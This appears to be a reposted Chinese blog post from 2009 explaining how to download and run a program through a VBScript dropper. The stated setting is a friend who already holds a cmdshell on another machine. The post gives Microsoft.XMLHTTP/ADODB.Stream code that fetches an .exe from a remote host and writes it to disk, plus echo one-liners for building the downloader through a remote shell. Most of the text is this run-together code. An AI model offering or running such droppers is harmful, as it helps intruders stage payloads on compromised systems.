如何实现用VBS脚本下载程序执行

2009-9-4 10:55 901 0

摘要: 前一阵子朋友拿着cmdshell问我如何下载文件到上面,这不在这发表出来.Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET",...

关键词： sGet createObject xPost vbsecho vbs ECHO Arguments dc Open Wscript

前一阵子朋友拿着cmdshell问我如何下载文件到上面,这不在这发表出来.Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://www.xx.com/dc.exe",0 ''''下载文件的地址xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "c: dc.exe",2 ''''保存文件的路径和文件名把以上代码保存在xx.vbs文件执行cmd.exe xx.vbs 使用ECHO方法写入echo Set xPost = createObject("Microsoft.XMLHTTP") >dc.vbs echo xPost.Open "GET",http://www.xxx.com/dc.exe,0 >>dc.vbs echo xPost.Send() >>dc.vbs echo Set sGet = createObject("ADODB.Stream") >>dc.vbs echo sGet.Mode = 3 >>dc.vbs echo sGet.Type = 1 >>dc.vbs echo sGet.Open() >>dc.vbs echo sGet.Write(xPost.responseBody) >>dc.vbs echo sGet.SaveToFile "c: dc.exe",2 >>dc.vbs ===================带参数的WGET.vbs==========on error resume nextiLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))Set xPost=createObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()set sGet=createObject("ADODB.Stream")sGet.Mode=3sGet.Type=1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile iLocal,2===================带参数的WGET.vbs========== ===================带参数的WGET.vbs==========echo onecho on error resume next >dc.vbsecho iLocal=LCase(Wscript.Arguments(1))>>dc.vbsecho iRemote=LCase(Wscript.Arguments(0))>>dc.vbsecho Set xPost=createObject("Microsoft.XMLHTTP")>>dc.vbsecho xPost.Open "GET",iRemote,0>>dc.vbsecho xPost.Send()>>dc.vbsecho set sGet=createObject("ADODB.Stream")>>dc.vbsecho sGet.Mode=3>>dc.vbsecho sGet.Type=1>>dc.vbsecho sGet.Open()>>dc.vbsecho sGet.Write xPost.ResponseBody>>dc.vbsecho sGet.SaveToFile iLocal,2>>dc.vbsecho offpasue===================带参数的WGET.vbs========== 1.iget.vbs一次写入在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写 Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 这样我们可以一次echo成功,echo版本: echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除